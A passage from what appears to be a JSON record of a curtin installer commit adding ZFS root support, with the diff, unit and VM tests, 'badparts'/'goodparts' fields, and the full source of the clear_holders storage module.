self.m_is_kmod_loaded.return_value = True\n+ util.load_kernel_module(self.modname, check_loaded=False)\n+\n+ self.assertEqual(0, self.m_is_kmod_loaded.call_count)\n+ self.m_subp.assert_called_with(['modprobe', '--use-blacklist',\n+ self.modname])\n+\n+ def test_load_kernel_module_skips_modprobe_if_loaded(self):\n+ \"\"\" test modprobe skipped if module already loaded\"\"\"\n+ self.m_is_kmod_loaded.return_value = True\n+ util.load_kernel_module(self.modname)\n+\n+ self.assertEqual(1, self.m_is_kmod_loaded.call_count)\n+ self.m_is_kmod_loaded.assert_called_with(self.modname)\n+ self.assertEqual(0, self.m_subp.call_count)\n+\n+\n # vi: ts=4 expandtab syntax=python\ndiff --git a/tests/vmtests/test_zfsroot.py b/tests/vmtests/test_zfsroot.py\nnew file mode 100644\nindex 00000000..a1738188\n--- /dev/null\n+++ b/tests/vmtests/test_zfsroot.py\n@@ -0,0 +1,81 @@\n+from . import VMBaseClass\n+from .releases import base_vm_classes as relbase\n+\n+import textwrap\n+\n+\n+class TestZfsRootAbs(VMBaseClass):\n+ interactive = False\n+ nr_cpus = 2\n+ dirty_disks = True\n+ conf_file = \"examples/tests/zfsroot.yaml\"\n+ extra_disks = []\n+ collect_scripts = VMBaseClass.collect_scripts + [\n+ textwrap.dedent(\"\"\"\n+ cd OUTPUT_COLLECT_D\n+ blkid -o export /dev/vda > blkid_output_vda\n+ blkid -o export /dev/vda1 > blkid_output_vda1\n+ blkid -o export /dev/vda2 > blkid_output_vda2\n+ zfs list > zfs_list\n+ zpool list > zpool_list\n+ zpool status > zpool_status\n+ cat /proc/partitions > proc_partitions\n+ cat /proc/mounts > proc_mounts\n+ cat /proc/cmdline > proc_cmdline\n+ ls -al /dev/disk/by-uuid/ > ls_uuid\n+ cat /etc/fstab > fstab\n+ mkdir -p /dev/disk/by-dname\n+ ls /dev/disk/by-dname/ > ls_dname\n+ find /etc/network/interfaces.d > find_interfacesd\n+ v=\"\"\n+ out=$(apt-config shell v Acquire::HTTP::Proxy)\n+ eval \"$out\"\n+ echo \"$v\" > apt-proxy\n+ cp /etc/environment etc_environment\n+ \"\"\")]\n+\n+ def test_output_files_exist(self):\n+ self.output_files_exist(\n+ [\"blkid_output_vda\", \"blkid_output_vda1\", \"blkid_output_vda2\",\n+ \"fstab\", \"ls_dname\", \"ls_uuid\",\n+ \"proc_partitions\",\n+ \"root/curtin-install.log\", \"root/curtin-install-cfg.yaml\"])\n+\n+ def test_ptable(self):\n+ blkid_info = self.get_blkid_data(\"blkid_output_vda\")\n+ self.assertEquals(blkid_info[\"PTTYPE\"], \"gpt\")\n+\n+ def test_zfs_list(self):\n+ \"\"\"Check rpoot/ROOT/ubuntu is mounted at slash\"\"\"\n+ self.output_files_exist(['zfs_list'])\n+ self.check_file_regex('zfs_list', r\"rpool/ROOT/ubuntu.*/\\n\")\n+\n+ def test_env_has_zpool_vdev_name_path(self):\n+ \"\"\"Target env has ZPOOL_VDEV_NAME_PATH=1 set\"\"\"\n+ self.output_files_exist(['etc_environment'])\n+ self.check_file_regex('etc_environment', r'ZPOOL_VDEV_NAME_PATH=\"1\"')\n+\n+ def test_proc_cmdline_has_root_zfs(self):\n+ \"\"\"Check /proc/cmdline has root=ZFS=\"\"\"\n+ self.output_files_exist(['proc_cmdline'])\n+ self.check_file_regex('proc_cmdline', r\"root=ZFS=rpool/ROOT/ubuntu\")\n+\n+\n+class XenialGATestZfsRoot(relbase.xenial_ga, TestZfsRootAbs):\n+ __test__ = True\n+\n+\n+class XenialHWETestZfsRoot(relbase.xenial_hwe, TestZfsRootAbs):\n+ __test__ = True\n+\n+\n+class XenialEdgeTestZfsRoot(relbase.xenial_edge, TestZfsRootAbs):\n+ __test__ = True\n+\n+\n+class ArtfulTestZfsRoot(relbase.artful, TestZfsRootAbs):\n+ __test__ = True\n+\n+\n+class BionicTestZfsRoot(relbase.bionic, TestZfsRootAbs):\n+ __test__ = True\n", "files": {"/curtin/block/__init__.py": {"changes": [{"diff": "\n 'lvm_partition': ['lvm2'],\n 'lvm_volgroup': ['lvm2'],\n 'raid': ['mdadm'],\n- 'xfs': ['xfsprogs']\n+ 'xfs': ['xfsprogs'],\n+ 'zfs': ['zfsutils-linux', 'zfs-initramfs'],\n+ 'zpool': ['zfsutils-linux', 'zfs-initramfs'],\n },\n },\n }", "add": 3, "remove": 1, "filename": "/curtin/block/__init__.py", "badparts": [" 'xfs': ['xfsprogs']"], "goodparts": [" 'xfs': ['xfsprogs'],", " 'zfs': ['zfsutils-linux', 'zfs-initramfs'],", " 'zpool': ['zfsutils-linux', 'zfs-initramfs'],"]}]}, "/curtin/block/clear_holders.py": {"changes": [{"diff": "\n # lad the bcache module bcause it is not present in the kernel. if this\n # happens then there is no need to halt installation, as the bcache devices\n # will never appear and will never prevent the disk from being reformatted\n- util.subp(['modprobe', 'bcache'], rcs=[0, 1])\n+ util.load_kernel_module('bcache')\n+ # the zfs module is needed to find and export devices which may be in-use\n+ # and need to be cleared.\n+ util.load_kernel_module('zfs')\n \n \n # anything that is not identified can assumed to be a 'disk' or simila", "add": 4, "remove": 1, "filename": "/curtin/block/clear_holders.py", "badparts": [" util.subp(['modprobe', 'bcache'], rcs=[0, 1])"], "goodparts": [" util.load_kernel_module('bcache')", " util.load_kernel_module('zfs')"]}], "source": "\n \"\"\" This module provides a mechanism for shutting down virtual storage layers on top of a block device, making it possible to reuse the block device without having to reboot the system \"\"\" import errno import os import time from curtin import(block, udev, util) from curtin.block import lvm from curtin.block import mdadm from curtin.log import LOG MDADM_RELEASE_RETRIES=[0.4] * 150 def _define_handlers_registry(): \"\"\" returns instantiated dev_types \"\"\" return{ 'partition':{'shutdown': wipe_superblock, 'ident': identify_partition}, 'lvm':{'shutdown': shutdown_lvm, 'ident': identify_lvm}, 'crypt':{'shutdown': shutdown_crypt, 'ident': identify_crypt}, 'raid':{'shutdown': shutdown_mdadm, 'ident': identify_mdadm}, 'bcache':{'shutdown': shutdown_bcache, 'ident': identify_bcache}, 'disk':{'ident': lambda x: False, 'shutdown': wipe_superblock}, } def get_dmsetup_uuid(device): \"\"\" get the dm uuid for a specified dmsetup device \"\"\" blockdev=block.sysfs_to_devpath(device) (out, _)=util.subp(['dmsetup', 'info', blockdev, '-C', '-o', 'uuid', '--noheadings'], capture=True) return out.strip() def get_bcache_using_dev(device, strict=True): \"\"\" Get the /sys/fs/bcache/ path of the bcache cache device bound to specified device \"\"\" sysfs_path=block.sys_block_path(device) path=os.path.realpath(os.path.join(sysfs_path, 'bcache', 'cache')) if strict and not os.path.exists(path): err=OSError( \"device '{}' did not have existing syspath '{}'\".format( device, path)) err.errno=errno.ENOENT raise err return path def get_bcache_sys_path(device, strict=True): \"\"\" Get the /sys/class/block//bcache path \"\"\" sysfs_path=block.sys_block_path(device, strict=strict) path=os.path.join(sysfs_path, 'bcache') if strict and not os.path.exists(path): err=OSError( \"device '{}' did not have existing syspath '{}'\".format( device, path)) err.errno=errno.ENOENT raise err return path def maybe_stop_bcache_device(device): \"\"\"Attempt to stop the provided device_path or raise unexpected errors.\"\"\" bcache_stop=os.path.join(device, 'stop') try: util.write_file(bcache_stop, '1', mode=None) except(IOError, OSError) as e: LOG.debug('Error writing to bcache stop file %s, device removed: %s', bcache_stop, e) def shutdown_bcache(device): \"\"\" Shut down bcache for specified bcache device 1. Stop the cacheset that `device` is connected to 2. Stop the 'device' \"\"\" if not device.startswith('/sys/class/block'): raise ValueError('Invalid Device(%s): ' 'Device path must start with /sys/class/block/', device) removal_retries=[0.2] * 150 bcache_shutdown_message=('shutdown_bcache running on{} has determined ' 'that the device has already been shut down ' 'during handling of another bcache dev. ' 'skipping'.format(device)) if not os.path.exists(device): LOG.info(bcache_shutdown_message) return slave_paths=[get_bcache_sys_path(k, strict=False) for k in os.listdir(os.path.join(device, 'slaves'))] bcache_cache_sysfs=get_bcache_using_dev(device, strict=False) if not os.path.exists(bcache_cache_sysfs): LOG.info('bcache cacheset already removed: %s', os.path.basename(bcache_cache_sysfs)) else: LOG.info('stopping bcache cacheset at: %s', bcache_cache_sysfs) maybe_stop_bcache_device(bcache_cache_sysfs) try: util.wait_for_removal(bcache_cache_sysfs, retries=removal_retries) except OSError: LOG.info('Failed to stop bcache cacheset %s', bcache_cache_sysfs) raise udev.udevadm_settle() bcache_block_sysfs=get_bcache_sys_path(device, strict=False) to_check=[device] +slave_paths found_devs=[os.path.exists(p) for p in to_check] LOG.debug('os.path.exists on blockdevs:\\n%s', list(zip(to_check, found_devs))) if not any(found_devs): LOG.info('bcache backing device already removed: %s(%s)', bcache_block_sysfs, device) LOG.debug('bcache slave paths checked: %s', slave_paths) return else: LOG.info('stopping bcache backing device at: %s', bcache_block_sysfs) maybe_stop_bcache_device(bcache_block_sysfs) try: for dev in[device, bcache_block_sysfs] +slave_paths: util.wait_for_removal(dev, retries=removal_retries) except OSError: LOG.info('Failed to stop bcache backing device %s', bcache_block_sysfs) raise return def shutdown_lvm(device): \"\"\" Shutdown specified lvm device. \"\"\" device=block.sys_block_path(device) name_file=os.path.join(device, 'dm', 'name') (vg_name, lv_name)=lvm.split_lvm_name(util.load_file(name_file)) LOG.debug('running lvremove on %s/%s', vg_name, lv_name) util.subp(['lvremove', '--force', '--force', '{}/{}'.format(vg_name, lv_name)], rcs=[0, 5]) if len(lvm.get_lvols_in_volgroup(vg_name))==0: util.subp(['vgremove', '--force', '--force', vg_name], rcs=[0, 5]) lvm.lvm_scan() def shutdown_crypt(device): \"\"\" Shutdown specified cryptsetup device \"\"\" blockdev=block.sysfs_to_devpath(device) util.subp(['cryptsetup', 'remove', blockdev], capture=True) def shutdown_mdadm(device): \"\"\" Shutdown specified mdadm device. \"\"\" blockdev=block.sysfs_to_devpath(device) LOG.debug('using mdadm.mdadm_stop on dev: %s', blockdev) mdadm.mdadm_stop(blockdev) try: for wait in MDADM_RELEASE_RETRIES: if mdadm.md_present(block.path_to_kname(blockdev)): time.sleep(wait) else: LOG.debug('%s has been removed', blockdev) break if mdadm.md_present(block.path_to_kname(blockdev)): raise OSError('Timeout exceeded for removal of %s', blockdev) except OSError: LOG.critical('Failed to stop mdadm device %s', device) if os.path.exists('/proc/mdstat'): LOG.critical(\"/proc/mdstat:\\n%s\", util.load_file('/proc/mdstat')) raise def wipe_superblock(device): \"\"\" Wrapper for block.wipe_volume compatible with shutdown function interface \"\"\" blockdev=block.sysfs_to_devpath(device) if block.is_extended_partition(blockdev): LOG.info(\"extended partitions do not need wiping, so skipping: '%s'\", blockdev) else: for bcache_path in['bcache', 'bcache/set']: stop_path=os.path.join(device, bcache_path) if os.path.exists(stop_path): LOG.debug('Attempting to release bcache layer from device: %s', device) maybe_stop_bcache_device(stop_path) continue retries=[1, 3, 5, 7] LOG.info('wiping superblock on %s', blockdev) for attempt, wait in enumerate(retries): LOG.debug('wiping %s attempt %s/%s', blockdev, attempt +1, len(retries)) try: block.wipe_volume(blockdev, mode='superblock') LOG.debug('successfully wiped device %s on attempt %s/%s', blockdev, attempt +1, len(retries)) return except OSError: if attempt +1 >=len(retries): raise else: LOG.debug(\"wiping device '%s' failed on attempt\" \" %s/%s. sleeping %ss before retry\", blockdev, attempt +1, len(retries), wait) time.sleep(wait) def identify_lvm(device): \"\"\" determine if specified device is a lvm device \"\"\" return(block.path_to_kname(device).startswith('dm') and get_dmsetup_uuid(device).startswith('LVM')) def identify_crypt(device): \"\"\" determine if specified device is dm-crypt device \"\"\" return(block.path_to_kname(device).startswith('dm') and get_dmsetup_uuid(device).startswith('CRYPT')) def identify_mdadm(device): \"\"\" determine if specified device is a mdadm device \"\"\" return block.path_to_kname(device).startswith('md') def identify_bcache(device): \"\"\" determine if specified device is a bcache device \"\"\" return block.path_to_kname(device).startswith('bcache') def identify_partition(device): \"\"\" determine if specified device is a partition \"\"\" path=os.path.join(block.sys_block_path(device), 'partition') return os.path.exists(path) def get_holders(device): \"\"\" Look up any block device holders, return list of knames \"\"\" sysfs_path=block.sys_block_path(device) holders=os.listdir(os.path.join(sysfs_path, 'holders')) LOG.debug(\"devname '%s' had holders: %s\", device, holders) return holders def gen_holders_tree(device): \"\"\" generate a tree representing the current storage hirearchy above 'device' \"\"\" device=block.sys_block_path(device) dev_name=block.path_to_kname(device) holder_paths=([block.sys_block_path(h) for h in get_holders(device)] + block.get_sysfs_partitions(device)) dev_type=next((k for k, v in DEV_TYPES.items() if v['ident'](device)), DEFAULT_DEV_TYPE) return{ 'device': device, 'dev_type': dev_type, 'name': dev_name, 'holders':[gen_holders_tree(h) for h in holder_paths], } def plan_shutdown_holder_trees(holders_trees): \"\"\" plan best order to shut down holders in, taking into account high level storage layers that may have many devices below them returns a sorted list of descriptions of storage config entries including their path in /sys/block and their dev type can accept either a single storage tree or a list of storage trees assumed to start at an equal place in storage hirearchy(i.e. a list of trees starting from disk) \"\"\" reg={} if not isinstance(holders_trees,(list, tuple)): holders_trees=[holders_trees] def flatten_holders_tree(tree, level=0): \"\"\" add entries from holders tree to registry with level key corresponding to how many layers from raw disks the current device is at \"\"\" device=tree['device'] if device in reg: level=max(reg[device]['level'], level) reg[device]={'level': level, 'device': device, 'dev_type': tree['dev_type']} for holder in tree['holders']: flatten_holders_tree(holder, level=level +1) for holders_tree in holders_trees: flatten_holders_tree(holders_tree) return[reg[k] for k in sorted(reg, key=lambda x: reg[x]['level'] * -1)] def format_holders_tree(holders_tree): \"\"\" draw a nice dirgram of the holders tree \"\"\" spacers=(('`--', ' ' * 4),('|--', '|' +' ' * 3)) def format_tree(tree): \"\"\" format entry and any subentries \"\"\" result=[tree['name']] holders=tree['holders'] for(holder_no, holder) in enumerate(holders): spacer_style=spacers[min(len(holders) -(holder_no +1), 1)] subtree_lines=format_tree(holder) for(line_no, line) in enumerate(subtree_lines): result.append(spacer_style[min(line_no, 1)] +line) return result return '\\n'.join(format_tree(holders_tree)) def get_holder_types(tree): \"\"\" get flattened list of types of holders in holders tree and the devices they correspond to \"\"\" types={(tree['dev_type'], tree['device'])} for holder in tree['holders']: types.update(get_holder_types(holder)) return types def assert_clear(base_paths): \"\"\" Check if all paths in base_paths are clear to use \"\"\" valid=('disk', 'partition') if not isinstance(base_paths,(list, tuple)): base_paths=[base_paths] base_paths=[block.sys_block_path(path) for path in base_paths] for holders_tree in[gen_holders_tree(p) for p in base_paths]: if any(holder_type not in valid and path not in base_paths for(holder_type, path) in get_holder_types(holders_tree)): raise OSError('Storage not clear, remaining:\\n{}' .format(format_holders_tree(holders_tree))) def clear_holders(base_paths, try_preserve=False): \"\"\" Clear all storage layers depending on the devices specified in 'base_paths' A single device or list of devices can be specified. Device paths can be specified either as paths in /dev or /sys/block Will throw OSError if any holders could not be shut down \"\"\" if not isinstance(base_paths,(list, tuple)): base_paths=[base_paths] holder_trees=[gen_holders_tree(path) for path in base_paths] LOG.info('Current device storage tree:\\n%s', '\\n'.join(format_holders_tree(tree) for tree in holder_trees)) ordered_devs=plan_shutdown_holder_trees(holder_trees) for dev_info in ordered_devs: dev_type=DEV_TYPES.get(dev_info['dev_type']) shutdown_function=dev_type.get('shutdown') if not shutdown_function: continue if try_preserve and shutdown_function in DATA_DESTROYING_HANDLERS: LOG.info('shutdown function for holder type: %s is destructive. ' 'attempting to preserve data, so not skipping' % dev_info['dev_type']) continue LOG.info(\"shutdown running on holder type: '%s' syspath: '%s'\", dev_info['dev_type'], dev_info['device']) shutdown_function(dev_info['device']) udev.udevadm_settle() def start_clear_holders_deps(): \"\"\" prepare system for clear holders to be able to scan old devices \"\"\" mdadm.mdadm_assemble(scan=True, ignore_errors=True) util.subp(['modprobe', 'bcache'], rcs=[0, 1]) DEFAULT_DEV_TYPE='disk' DATA_DESTROYING_HANDLERS=[wipe_superblock] DEV_TYPES=_define_handlers_registry() ", "sourceWithComments": "# This file is part of curtin. See LICENSE file for copyright and license info.\n\n\"\"\"\nThis module provides a mechanism for shutting down virtual storage layers on\ntop of a block device, making it possible to reuse the block device without\nhaving to reboot the system\n\"\"\"\n\nimport errno\nimport os\nimport time\n\nfrom curtin import (block, udev, util)\nfrom curtin.block import lvm\nfrom curtin.block import mdadm\nfrom curtin.log import LOG\n\n# poll frequenty, but wait up to 60 seconds total\nMDADM_RELEASE_RETRIES = [0.4] * 150\n\n\ndef _define_handlers_registry():\n \"\"\"\n returns instantiated dev_types\n \"\"\"\n return {\n 'partition': {'shutdown': wipe_superblock,\n 'ident': identify_partition},\n 'lvm': {'shutdown': shutdown_lvm, 'ident': identify_lvm},\n 'crypt': {'shutdown': shutdown_crypt, 'ident': identify_crypt},\n 'raid': {'shutdown': shutdown_mdadm, 'ident': identify_mdadm},\n 'bcache': {'shutdown': shutdown_bcache, 'ident': identify_bcache},\n 'disk': {'ident': lambda x: False, 'shutdown': wipe_superblock},\n }\n\n\ndef get_dmsetup_uuid(device):\n \"\"\"\n get the dm uuid for a specified dmsetup device\n \"\"\"\n blockdev = block.sysfs_to_devpath(device)\n (out, _) = util.subp(['dmsetup', 'info', blockdev, '-C', '-o', 'uuid',\n '--noheadings'], capture=True)\n return out.strip()\n\n\ndef get_bcache_using_dev(device, strict=True):\n \"\"\"\n Get the /sys/fs/bcache/ path of the bcache cache device bound to\n specified device\n \"\"\"\n # FIXME: when block.bcache is written this should be moved there\n sysfs_path = block.sys_block_path(device)\n path = os.path.realpath(os.path.join(sysfs_path, 'bcache', 'cache'))\n if strict and not os.path.exists(path):\n err = OSError(\n \"device '{}' did not have existing syspath '{}'\".format(\n device, path))\n err.errno = errno.ENOENT\n raise err\n\n return path\n\n\ndef get_bcache_sys_path(device, strict=True):\n \"\"\"\n Get the /sys/class/block//bcache path\n \"\"\"\n sysfs_path = block.sys_block_path(device, strict=strict)\n path = os.path.join(sysfs_path, 'bcache')\n if strict and not os.path.exists(path):\n err = OSError(\n \"device '{}' did not have existing syspath '{}'\".format(\n device, path))\n err.errno = errno.ENOENT\n raise err\n\n return path\n\n\ndef maybe_stop_bcache_device(device):\n \"\"\"Attempt to stop the provided device_path or raise unexpected errors.\"\"\"\n bcache_stop = os.path.join(device, 'stop')\n try:\n util.write_file(bcache_stop, '1', mode=None)\n except (IOError, OSError) as e:\n # Note: if we get any exceptions in the above exception classes\n # it is a result of attempting to write \"1\" into the sysfs path\n # The range of errors changes depending on when we race with\n # the kernel asynchronously removing the sysfs path. Therefore\n # we log the exception errno we got, but do not re-raise as\n # the calling process is watching whether the same sysfs path\n # is being removed; if it fails to go away then we'll have\n # a log of the exceptions to debug.\n LOG.debug('Error writing to bcache stop file %s, device removed: %s',\n bcache_stop, e)\n\n\ndef shutdown_bcache(device):\n \"\"\"\n Shut down bcache for specified bcache device\n\n 1. Stop the cacheset that `device` is connected to\n 2. Stop the 'device'\n \"\"\"\n if not device.startswith('/sys/class/block'):\n raise ValueError('Invalid Device (%s): '\n 'Device path must start with /sys/class/block/',\n device)\n\n # bcache device removal should be fast but in an extreme\n # case, might require the cache device to flush large\n # amounts of data to a backing device. The strategy here\n # is to wait for approximately 30 seconds but to check\n # frequently since curtin cannot proceed until devices\n # cleared.\n removal_retries = [0.2] * 150 # 30 seconds total\n bcache_shutdown_message = ('shutdown_bcache running on {} has determined '\n 'that the device has already been shut down '\n 'during handling of another bcache dev. '\n 'skipping'.format(device))\n\n if not os.path.exists(device):\n LOG.info(bcache_shutdown_message)\n return\n\n # get slaves [vdb1, vdc], allow for slaves to not have bcache dir\n slave_paths = [get_bcache_sys_path(k, strict=False) for k in\n os.listdir(os.path.join(device, 'slaves'))]\n\n # stop cacheset if it exists\n bcache_cache_sysfs = get_bcache_using_dev(device, strict=False)\n if not os.path.exists(bcache_cache_sysfs):\n LOG.info('bcache cacheset already removed: %s',\n os.path.basename(bcache_cache_sysfs))\n else:\n LOG.info('stopping bcache cacheset at: %s', bcache_cache_sysfs)\n maybe_stop_bcache_device(bcache_cache_sysfs)\n try:\n util.wait_for_removal(bcache_cache_sysfs, retries=removal_retries)\n except OSError:\n LOG.info('Failed to stop bcache cacheset %s', bcache_cache_sysfs)\n raise\n\n # let kernel settle before the next remove\n udev.udevadm_settle()\n\n # after stopping cache set, we may need to stop the device\n # both the dev and sysfs entry should be gone.\n\n # we know the bcacheN device is really gone when we've removed:\n # /sys/class/block/{bcacheN}\n # /sys/class/block/slaveN1/bcache\n # /sys/class/block/slaveN2/bcache\n bcache_block_sysfs = get_bcache_sys_path(device, strict=False)\n to_check = [device] + slave_paths\n found_devs = [os.path.exists(p) for p in to_check]\n LOG.debug('os.path.exists on blockdevs:\\n%s',\n list(zip(to_check, found_devs)))\n if not any(found_devs):\n LOG.info('bcache backing device already removed: %s (%s)',\n bcache_block_sysfs, device)\n LOG.debug('bcache slave paths checked: %s', slave_paths)\n return\n else:\n LOG.info('stopping bcache backing device at: %s', bcache_block_sysfs)\n maybe_stop_bcache_device(bcache_block_sysfs)\n try:\n # wait for them all to go away\n for dev in [device, bcache_block_sysfs] + slave_paths:\n util.wait_for_removal(dev, retries=removal_retries)\n except OSError:\n LOG.info('Failed to stop bcache backing device %s',\n bcache_block_sysfs)\n raise\n\n return\n\n\ndef shutdown_lvm(device):\n \"\"\"\n Shutdown specified lvm device.\n \"\"\"\n device = block.sys_block_path(device)\n # lvm devices have a dm directory that containes a file 'name' containing\n # '{volume group}-{logical volume}'. The volume can be freed using lvremove\n name_file = os.path.join(device, 'dm', 'name')\n (vg_name, lv_name) = lvm.split_lvm_name(util.load_file(name_file))\n # use two --force flags here in case the volume group that this lv is\n # attached two has been damaged\n LOG.debug('running lvremove on %s/%s', vg_name, lv_name)\n util.subp(['lvremove', '--force', '--force',\n '{}/{}'.format(vg_name, lv_name)], rcs=[0, 5])\n # if that was the last lvol in the volgroup, get rid of volgroup\n if len(lvm.get_lvols_in_volgroup(vg_name)) == 0:\n util.subp(['vgremove', '--force', '--force', vg_name], rcs=[0, 5])\n # refresh lvmetad\n lvm.lvm_scan()\n\n\ndef shutdown_crypt(device):\n \"\"\"\n Shutdown specified cryptsetup device\n \"\"\"\n blockdev = block.sysfs_to_devpath(device)\n util.subp(['cryptsetup', 'remove', blockdev], capture=True)\n\n\ndef shutdown_mdadm(device):\n \"\"\"\n Shutdown specified mdadm device.\n \"\"\"\n blockdev = block.sysfs_to_devpath(device)\n LOG.debug('using mdadm.mdadm_stop on dev: %s', blockdev)\n mdadm.mdadm_stop(blockdev)\n\n # mdadm stop operation is asynchronous so we must wait for the kernel to\n # release resources. For more details see LP: #1682456\n try:\n for wait in MDADM_RELEASE_RETRIES:\n if mdadm.md_present(block.path_to_kname(blockdev)):\n time.sleep(wait)\n else:\n LOG.debug('%s has been removed', blockdev)\n break\n\n if mdadm.md_present(block.path_to_kname(blockdev)):\n raise OSError('Timeout exceeded for removal of %s', blockdev)\n\n except OSError:\n LOG.critical('Failed to stop mdadm device %s', device)\n if os.path.exists('/proc/mdstat'):\n LOG.critical(\"/proc/mdstat:\\n%s\", util.load_file('/proc/mdstat'))\n raise\n\n\ndef wipe_superblock(device):\n \"\"\"\n Wrapper for block.wipe_volume compatible with shutdown function interface\n \"\"\"\n blockdev = block.sysfs_to_devpath(device)\n # when operating on a disk that used to have a dos part table with an\n # extended partition, attempting to wipe the extended partition will fail\n if block.is_extended_partition(blockdev):\n LOG.info(\"extended partitions do not need wiping, so skipping: '%s'\",\n blockdev)\n else:\n # some volumes will be claimed by the bcache layer but do not surface\n # an actual /dev/bcacheN device which owns the parts (backing, cache)\n # The result is that some volumes cannot be wiped while bcache claims\n # the device. Resolve this by stopping bcache layer on those volumes\n # if present.\n for bcache_path in ['bcache', 'bcache/set']:\n stop_path = os.path.join(device, bcache_path)\n if os.path.exists(stop_path):\n LOG.debug('Attempting to release bcache layer from device: %s',\n device)\n maybe_stop_bcache_device(stop_path)\n continue\n\n retries = [1, 3, 5, 7]\n LOG.info('wiping superblock on %s', blockdev)\n for attempt, wait in enumerate(retries):\n LOG.debug('wiping %s attempt %s/%s',\n blockdev, attempt + 1, len(retries))\n try:\n block.wipe_volume(blockdev, mode='superblock')\n LOG.debug('successfully wiped device %s on attempt %s/%s',\n blockdev, attempt + 1, len(retries))\n return\n except OSError:\n if attempt + 1 >= len(retries):\n raise\n else:\n LOG.debug(\"wiping device '%s' failed on attempt\"\n \" %s/%s. sleeping %ss before retry\",\n blockdev, attempt + 1, len(retries), wait)\n time.sleep(wait)\n\n\ndef identify_lvm(device):\n \"\"\"\n determine if specified device is a lvm device\n \"\"\"\n return (block.path_to_kname(device).startswith('dm') and\n get_dmsetup_uuid(device).startswith('LVM'))\n\n\ndef identify_crypt(device):\n \"\"\"\n determine if specified device is dm-crypt device\n \"\"\"\n return (block.path_to_kname(device).startswith('dm') and\n get_dmsetup_uuid(device).startswith('CRYPT'))\n\n\ndef identify_mdadm(device):\n \"\"\"\n determine if specified device is a mdadm device\n \"\"\"\n return block.path_to_kname(device).startswith('md')\n\n\ndef identify_bcache(device):\n \"\"\"\n determine if specified device is a bcache device\n \"\"\"\n return block.path_to_kname(device).startswith('bcache')\n\n\ndef identify_partition(device):\n \"\"\"\n determine if specified device is a partition\n \"\"\"\n path = os.path.join(block.sys_block_path(device), 'partition')\n return os.path.exists(path)\n\n\ndef get_holders(device):\n \"\"\"\n Look up any block device holders, return list of knames\n \"\"\"\n # block.sys_block_path works when given a /sys or /dev path\n sysfs_path = block.sys_block_path(device)\n # get holders\n holders = os.listdir(os.path.join(sysfs_path, 'holders'))\n LOG.debug(\"devname '%s' had holders: %s\", device, holders)\n return holders\n\n\ndef gen_holders_tree(device):\n \"\"\"\n generate a tree representing the current storage hirearchy above 'device'\n \"\"\"\n device = block.sys_block_path(device)\n dev_name = block.path_to_kname(device)\n # the holders for a device should consist of the devices in the holders/\n # dir in sysfs and any partitions on the device. this ensures that a\n # storage tree starting from a disk will include all devices holding the\n # disk's partitions\n holder_paths = ([block.sys_block_path(h) for h in get_holders(device)] +\n block.get_sysfs_partitions(device))\n # the DEV_TYPE registry contains a function under the key 'ident' for each\n # device type entry that returns true if the device passed to it is of the\n # correct type. there should never be a situation in which multiple\n # identify functions return true. therefore, it will always work to take\n # the device type with the first identify function that returns true as the\n # device type for the current device. in the event that no identify\n # functions return true, the device will be treated as a disk\n # (DEFAULT_DEV_TYPE). the identify function for disk never returns true.\n # the next() builtin in python will not raise a StopIteration exception if\n # there is a default value defined\n dev_type = next((k for k, v in DEV_TYPES.items() if v['ident'](device)),\n DEFAULT_DEV_TYPE)\n return {\n 'device': device, 'dev_type': dev_type, 'name': dev_name,\n 'holders': [gen_holders_tree(h) for h in holder_paths],\n }\n\n\ndef plan_shutdown_holder_trees(holders_trees):\n \"\"\"\n plan best order to shut down holders in, taking into account high level\n storage layers that may have many devices below them\n\n returns a sorted list of descriptions of storage config entries including\n their path in /sys/block and their dev type\n\n can accept either a single storage tree or a list of storage trees assumed\n to start at an equal place in storage hirearchy (i.e. a list of trees\n starting from disk)\n \"\"\"\n # holds a temporary registry of holders to allow cross references\n # key = device sysfs path, value = {} of priority level, shutdown function\n reg = {}\n\n # normalize to list of trees\n if not isinstance(holders_trees, (list, tuple)):\n holders_trees = [holders_trees]\n\n def flatten_holders_tree(tree, level=0):\n \"\"\"\n add entries from holders tree to registry with level key corresponding\n to how many layers from raw disks the current device is at\n \"\"\"\n device = tree['device']\n\n # always go with highest level if current device has been\n # encountered already. since the device and everything above it is\n # re-added to the registry it ensures that any increase of level\n # required here will propagate down the tree\n # this handles a scenario like mdadm + bcache, where the backing\n # device for bcache is a 3nd level item like mdadm, but the cache\n # device is 1st level (disk) or second level (partition), ensuring\n # that the bcache item is always considered higher level than\n # anything else regardless of whether it was added to the tree via\n # the cache device or backing device first\n if device in reg:\n level = max(reg[device]['level'], level)\n\n reg[device] = {'level': level, 'device': device,\n 'dev_type': tree['dev_type']}\n\n # handle holders above this level\n for holder in tree['holders']:\n flatten_holders_tree(holder, level=level + 1)\n\n # flatten the holders tree into the registry\n for holders_tree in holders_trees:\n flatten_holders_tree(holders_tree)\n\n # return list of entry dicts with highest level first\n return [reg[k] for k in sorted(reg, key=lambda x: reg[x]['level'] * -1)]\n\n\ndef format_holders_tree(holders_tree):\n \"\"\"\n draw a nice dirgram of the holders tree\n \"\"\"\n # spacer styles based on output of 'tree --charset=ascii'\n spacers = (('`-- ', ' ' * 4), ('|-- ', '|' + ' ' * 3))\n\n def format_tree(tree):\n \"\"\"\n format entry and any subentries\n \"\"\"\n result = [tree['name']]\n holders = tree['holders']\n for (holder_no, holder) in enumerate(holders):\n spacer_style = spacers[min(len(holders) - (holder_no + 1), 1)]\n subtree_lines = format_tree(holder)\n for (line_no, line) in enumerate(subtree_lines):\n result.append(spacer_style[min(line_no, 1)] + line)\n return result\n\n return '\\n'.join(format_tree(holders_tree))\n\n\ndef get_holder_types(tree):\n \"\"\"\n get flattened list of types of holders in holders tree and the devices\n they correspond to\n \"\"\"\n types = {(tree['dev_type'], tree['device'])}\n for holder in tree['holders']:\n types.update(get_holder_types(holder))\n return types\n\n\ndef assert_clear(base_paths):\n \"\"\"\n Check if all paths in base_paths are clear to use\n \"\"\"\n valid = ('disk', 'partition')\n if not isinstance(base_paths, (list, tuple)):\n base_paths = [base_paths]\n base_paths = [block.sys_block_path(path) for path in base_paths]\n for holders_tree in [gen_holders_tree(p) for p in base_paths]:\n if any(holder_type not in valid and path not in base_paths\n for (holder_type, path) in get_holder_types(holders_tree)):\n raise OSError('Storage not clear, remaining:\\n{}'\n .format(format_holders_tree(holders_tree)))\n\n\ndef clear_holders(base_paths, try_preserve=False):\n \"\"\"\n Clear all storage layers depending on the devices specified in 'base_paths'\n A single device or list of devices can be specified.\n Device paths can be specified either as paths in /dev or /sys/block\n Will throw OSError if any holders could not be shut down\n \"\"\"\n # handle single path\n if not isinstance(base_paths, 